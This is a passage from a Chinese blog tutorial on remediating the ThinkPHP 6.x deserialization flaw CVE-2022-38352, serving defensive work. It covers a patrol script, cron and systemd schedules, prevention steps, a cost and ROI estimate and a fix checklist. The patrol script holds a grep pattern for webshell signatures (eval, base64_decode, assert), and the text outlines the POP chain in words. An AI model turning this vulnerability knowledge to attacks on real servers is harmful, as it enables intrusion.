echo "[5] Webshell 扫描" >> "$REPORT_FILE"
SHELL_FILES=$(grep -rlE "(eval\s*\(|base64_decode\s*\(|assert\s*\()" "$THINKPHP_ROOT/public" --include="*.php" 2>/dev/null | wc -l)
echo "    public 目录可疑文件: $SHELL_FILES 个" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# 6. 推送报告
echo "===== 巡检完成 =====" >> "$REPORT_FILE"
cat "$REPORT_FILE"

# 严重问题发送告警
if [ "${SEVERITY:-}" = "critical" ]; then
    mail -s "【严重】ThinkPHP 6.x 安全巡检告警" "$ALERT_EMAIL" < "$REPORT_FILE"
    echo "已发送告警邮件"
fi

Crontab 配置

cron 复制代码
# /etc/cron.d/thinkphp6-security

# 每天凌晨 3 点执行安全巡检
0 3 * * * root /opt/scripts/thinkphp6_security_patrol.sh /var/www/html >> /var/log/thinkphp6-patrol.log 2>&1

# 每小时检查反序列化攻击日志
0 * * * * root /opt/scripts/thinkphp6_attack_check.sh >> /var/log/thinkphp6-attack.log 2>&1

# 每周扫描业务代码反序列化入口
0 4 * * 1 root /opt/scripts/unserialize_audit.sh /var/www/html >> /var/log/unserialize-audit.log 2>&1

systemd 定时器配置

ini 复制代码
# /etc/systemd/system/thinkphp6-patrol.service
[Unit]
Description=ThinkPHP 6.x Security Patrol
After=network.target

[Service]
Type=oneshot
ExecStart=/opt/scripts/thinkphp6_security_patrol.sh /var/www/html
StandardOutput=append:/var/log/thinkphp6-patrol.log
StandardError=append:/var/log/thinkphp6-patrol-error.log

# /etc/systemd/system/thinkphp6-patrol.timer
[Unit]
Description=Daily ThinkPHP 6.x Security Patrol

[Timer]
OnCalendar=*-*-* 03:00:00
Persistent=true

[Install]
WantedBy=timers.target

通知渠道集成

渠道 用途 配置方式
邮件 详细巡检报告 mailx + SMTP
企业微信 关键告警实时推送 Webhook + curl
钉钉机器人 值班通知 Webhook + 关键字
Prometheus AlertManager 与监控集成 Webhook receiver
短信 P0 告警 阿里云短信 API

预防措施

  1. 代码审计 :CI/CD 流水线接入 PHP 代码扫描,禁止新增 unserialize 调用
  2. 依赖管理 :每季度执行 composer audit,发现漏洞立即升级
  3. WAF 部署:在 Nginx/ModSecurity 层部署反序列化攻击拦截规则
  4. 文件完整性 :对 public/runtime/ 目录做 FIM
  5. Session 加固 :使用 session.serialize_handler = php_serialize,开启 strict_mode
  6. 最小权限:PHP-FPM 用户对 Web 根目录只读
  7. 函数禁用 :PHP 配置 disable_functions 禁用危险函数
  8. 定期演练:每半年进行一次反序列化攻击应急响应演练

💰 成本核算与价值量化

开发成本

成本项 工作量 人天 单价(元/天) 小计(元)
漏洞情报与 POP 链分析 研究公开 PoC + 复现 1.0 1,500 1,500
业务代码反序列化入口审计 全量扫描 + 评估风险 1.5 1,500 2,250
升级方案设计与测试 6.0.14 升级 + 业务回归 2.0 1,500 3,000
业务代码加固(unserialize 替换) 重构缓存/Session 模块 2.0 1,500 3,000
WAF 规则编写与验证 Nginx + ModSecurity 规则 1.0 1,500 1,500
巡检脚本与监控告警 Bash 巡检 + Prometheus 规则 1.5 1,500 2,250
开发成本合计 9.0 13,500

运行成本

成本项 频率 月成本(元) 年成本(元)
巡检脚本执行 每日 50 600
Prometheus 监控存储 持续 200 2,400
WAF 规则维护 每月 375 4,500
人工复核 每月 375 4,500
日志存储 持续 100 1,200
运行成本合计 1,100 13,200

收益对比

收益项 量化方式 金额(元/年)
避免 RCE 导致的数据泄露 按一次 RCE 事故损失 80 万估算,概率 20% 160,000
避免 Webshell 植入 按清理成本 5 万 + 业务损失 10 万,概率 30% 45,000
避免横向移动 按内网渗透损失 50 万估算,概率 10% 50,000
代码质量提升 移除 unserialize 调用,降低 30% 安全审计成本 30,000
合规审计效率提升 自动化巡检替代人工审计,节省 40 人天/年 60,000
WAF 拦截降低误报 精确规则减少 70% 误报 18,000
收益合计 363,000

ROI 计算

text 复制代码
年度总成本 = 开发成本 + 运行成本 = 13,500 + 13,200 = 26,700 元
年度总收益 = 363,000 元

ROI = (年度总收益 - 年度总成本) / 年度总成本 × 100%
    = (363,000 - 26,700) / 26,700 × 100%
    = 1,260%

投资回收期 = 年度总成本 / (年度总收益 / 12)
          = 26,700 / (363,000 / 12)
          ≈ 0.88 个月(约 26 天)

💡 结论:本次漏洞修复与监控建设 ROI 达 1,260%,投资回收期不到 1 个月。CVE-2022-38352 EPSS 92.56%,被利用概率极高,企业内有 ThinkPHP 6.0.x 的必须立即修复。

工程效率收益

收益项 优化前 优化后 提升
漏洞发现到修复 7 天 1 小时 168x
反序列化入口审计 全人工,5 天 脚本扫描,10 分钟 720x
Webshell 排查 全盘 find,4 小时 脚本扫描,10 分钟 24x
WAF 误报处理 每月 10 条 每月 1 条 10x
应急响应 2 小时启动 5 分钟自动告警 24x

8. 总结与行动清单

核心收获

  1. CVE-2022-38352 是 ThinkPHP 6.x 的"国民级"反序列化漏洞------CVSS 9.8,EPSS 92.56%,公开 PoC 满天飞
  2. 根因是 League\Flysystem Psr6Cache 的 POP 链 ------通过 __destruct__toString__callcall_user_func 触发 RCE
  3. 利用前提是业务代码存在 unserialize 入口------框架本身不主动反序列化,需业务代码"配合"
  4. 修复要"双管齐下"------升级框架到 6.0.14+ 消除 POP 链,业务代码加固消除入口
  5. 禁用 unserialize 改用 JSON 是根本解------JSON 不支持对象实例化,彻底杜绝 POP 链
  6. 必须保留 unserialize 时用 allowed_classes------白名单限制可实例化的类
  7. 输入数据签名验证是纵深防御------HMAC 签名确保数据未被篡改

立即行动清单

markdown 复制代码
□ **今天完成**:

- [ ] 盘点所有 ThinkPHP 6.x 项目版本(composer.lock)
- [ ] 用 PoC 验证是否受影响(检查业务代码 unserialize 入口)
- [ ] 在 Nginx 配置 WAF 规则拦截 think\ 命名空间序列化数据

□ **本周完成**:

- [ ] 升级所有受影响项目到 6.0.14+ / 6.1.3+
- [ ] 全局扫描业务代码的 unserialize 调用
- [ ] 高风险入口立即添加 allowed_classes 限制
- [ ] 排查 public/ 目录是否有未知 PHP 文件

□ **本月完成**:

- [ ] 重构缓存/Session 模块,改用 JSON
- [ ] 部署 Prometheus 监控告警规则
- [ ] 上线自动化巡检脚本
- [ ] 配置 PHP disable_functions 禁用危险函数
- [ ] 配置 open_basedir 限制文件访问
- [ ] 对关键接口添加 HMAC 签名验证
- [ ] 进行一次完整的反序列化攻击应急响应演练

□ **长期机制**:

- [ ] CI/CD 流水线接入 PHP 代码扫描,禁止新增 unserialize
- [ ] 每季度执行 composer audit
- [ ] WAF 规则纳入版本控制
- [ ] 关注 ThinkPHP 官方安全公告
- [ ] 长期规划迁移到 ThinkPHP 8 + PHP 8.2+

参考链接

👍 如果本文对你有帮助,欢迎点赞、收藏、转发!

💬 如果你在 ThinkPHP 6.x 升级或反序列化防护中遇到问题,请在评论区留言交流!

🔔 关注我,获取更多 PHP 框架安全漏洞修复实战干货!

✍️ 行文仓促,定有不足之处,欢迎各位朋友在评论区批评指正,不胜感激!

专栏导航:

📌 真实性声明 :本文涉及的 CVE 编号、CVSS 评分、影响版本、修复版本信息均来源于 NVD、ThinkPHP 官方 GitHub Issue、GitHub Advisory 数据库等公开信息。漏洞 POP 链分析基于 ThinkPHP 6.0.13 的公开源码及 GitHub Issue #2749/#2793 中的公开 PoC 代码进行合理推断,标注的代码片段为简化示意,非完整原代码。攻击 Payload 来源于公开的 PoC 仓库,仅用于防御检测目的。成本估算中的金额基于国内一线城市安全工程师市场行情和典型业务损失数据,实际数值因企业规模而异。文中涉及的 ${VAR} 形式均为环境变量占位符,请勿硬编码到生产配置中。

相关推荐
行者-全栈开发21 小时前
CVE-2026-45659:Microsoft SharePoint远程代码执行漏洞深度解析与修复指南
microsoft·sharepoint·反序列化·运维自动化·安全修复·远程代码执行·cve-2026-45659
行者-全栈开发2 个月前
CVE-2026-20131:Cisco防火墙管理中枢未授权RCE漏洞深度剖析与紧急修复指南
web安全·rce·防火墙安全·cve-2026-20131·cisco fmc·远程代码执行·cvss 10.0
lcreek2 个月前
Java 反序列化漏洞深度解析(一):从URLDNS到真正的DNS探测
java·反序列化漏洞
lcreek2 个月前
Java 反序列化漏洞深度解析(二):RCE 漏洞利用与防御实战
java·反序列化漏洞
mooyuan天天6 个月前
CTF-PTE 反序列化
cisp-pte·反序列化漏洞·序列化漏洞
爱隐身的官人1 年前
新后端漏洞(上)- Java RMI Registry反序列化漏洞
java·反序列化漏洞
mooyuan天天1 年前
pikachu靶场通关笔记40 反序列化(三种方法渗透)
笔记·安全·web安全·反序列化漏洞·pikachu靶场
Aishenyanying331 年前
Apache Shiro 反序列化漏洞全解析(Shiro-550 & Shiro-721)
安全·apache·shiro·反序列化漏洞
网安小t2 年前
ctfshow-PHP反序列化
网络安全·渗透测试·反序列化漏洞·php反序列化·漏洞测试